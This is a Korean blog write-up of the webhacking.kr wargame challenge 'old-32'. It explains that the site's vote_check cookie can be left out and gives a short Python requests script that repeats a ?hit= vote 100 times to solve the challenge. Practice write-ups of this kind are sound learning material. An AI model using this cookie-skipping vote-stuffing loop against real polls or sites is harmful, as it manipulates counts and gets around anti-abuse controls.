WEBHACKINGKR-old32

Kim Myeong Hyun·2024년 8월 10일

webhacking

목록 보기
12/14

old-32

화면 보고 뭐지 싶지만 그냥 hit이 100이 되면 풀 수 있는 문제 같다.

내 이름이 100이 되어야 한다.

내 이름 보면 한 번 클릭하고 나서 이후에 editthiscookie로 보면 vote_check cookie가 생긴다. 그리고 다시 내 이름 클릭하면 이미 투표했다고 나온다. 이걸 지워주고 다시 투표를 하면 쭉 올릴 수 있는데 이 작업 100번 할거면 코딩 접어야 된다.

PHPSESSID를 쿠키에 입력시켜주고 vote_check를 무시하면서 hit=닉네임 파라미터를 넣어주는 걸 100회 반복하는 코드를 단순하게 짜면 된다.

import requests

def vote(payload):
    data = {"PHPSESSID": "your_PHPSESSID"} #vote_check 없이 짜면, 그냥 vote_check 무시함.
    res = requests.get("https://webhacking.kr/challenge/code-5/"+payload, cookies=data)
    
    for i in range(0, 100):
        res = requests.get("https://webhacking.kr/challenge/code-5/"+payload, cookies=data)
    if "Pwned" in res.text:
        print("Pwned") #아마 Pwned 가 아니라서 안뜰거임

if __name__ == "__main__":
    payload = "?hit=your_ID"
    vote(payload)

코드 실행하고 좀 있다가 F5 해주면 solve 된다.

profile
Hi, I'm KiMH

0개의 댓글